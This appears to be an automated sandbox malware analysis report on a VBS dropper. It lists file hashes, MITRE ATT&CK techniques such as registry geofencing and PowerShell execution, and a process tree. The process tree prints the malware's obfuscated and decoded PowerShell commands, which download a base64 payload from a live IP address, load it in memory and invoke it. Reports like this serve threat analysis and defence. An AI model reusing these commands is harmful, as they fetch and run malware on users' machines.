e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8

General

Target

e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8.vbs
Size

1.7MB
MD5

a980540a1a4a78b65094d486e3146857
SHA1

0e56e92d8a24d97cfb152cfece8a34779f2f2276
SHA256

e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8
SHA512

26bb57060a3d34b784dda78be84830da894d634f462241ff1dd23b8e41c47673adca9591321fb6426d12d48017f73a2241ed160525dd271948dee9e049249e6c
SSDEEP

768:MRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR/V:GIO

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.202.233.169/Tak/Reg/Marz/ZQWER/DllXF3.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	652	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2916	powershell.exe
652	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2916	powershell.exe
2916	powershell.exe
652	powershell.exe
652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	652	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 2916	4068	WScript.exe	80
PID 4068 wrote to memory of 2916	4068	WScript.exe	80
PID 2916 wrote to memory of 652	2916	powershell.exe	82
PID 2916 wrote to memory of 652	2916	powershell.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bo▒Hk▒bQBz▒GQ▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒Gw▒YgBr▒GQ▒bg▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒HM▒e▒B3▒HE▒cQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒Og▒v▒C8▒OQ▒x▒C4▒Mg▒w▒DI▒Lg▒y▒DM▒Mw▒u▒DE▒Ng▒5▒C8▒V▒Bh▒Gs▒LwBS▒GU▒Zw▒v▒E0▒YQBy▒Ho▒LwBa▒FE▒VwBF▒FI▒LwBE▒Gw▒b▒BY▒EY▒Mw▒u▒HQ▒e▒B0▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒Bz▒Hg▒dwBx▒HE▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DE▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒D▒▒LwB4▒Fk▒UQBa▒Hg▒LwBk▒C8▒ZQBl▒C4▒ZQB0▒HM▒YQBw▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒b▒Bi▒Gs▒Z▒Bu▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒GQ▒Z▒Bf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒a▒B5▒G0▒cwBk▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$hymsd = '0';$lbkdn = 'C:\Users\Admin\AppData\Local\Temp\e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8.vbs';[Byte[]] $sxwqq = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/ZQWER/DllXF3.txt'));[system.AppDomain]::CurrentDomain.Load($sxwqq).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('0/xYQZx/d/ee.etsap//:sptth' , $lbkdn , '_____dd__________________-------------', $hymsd, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f14dcs44.vp3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/652-22-0x0000020FAAE80000-0x0000020FAAE8A000-memory.dmp

Filesize
40KB

Download
memory/2916-0-0x00007FFB22803000-0x00007FFB22805000-memory.dmp

Filesize
8KB

Download
memory/2916-6-0x00000158743D0000-0x00000158743F2000-memory.dmp

Filesize
136KB

Download
memory/2916-11-0x00007FFB22800000-0x00007FFB232C1000-memory.dmp

Filesize
10.8MB

Download
memory/2916-12-0x00007FFB22800000-0x00007FFB232C1000-memory.dmp

Filesize
10.8MB

Download
memory/2916-28-0x00007FFB22800000-0x00007FFB232C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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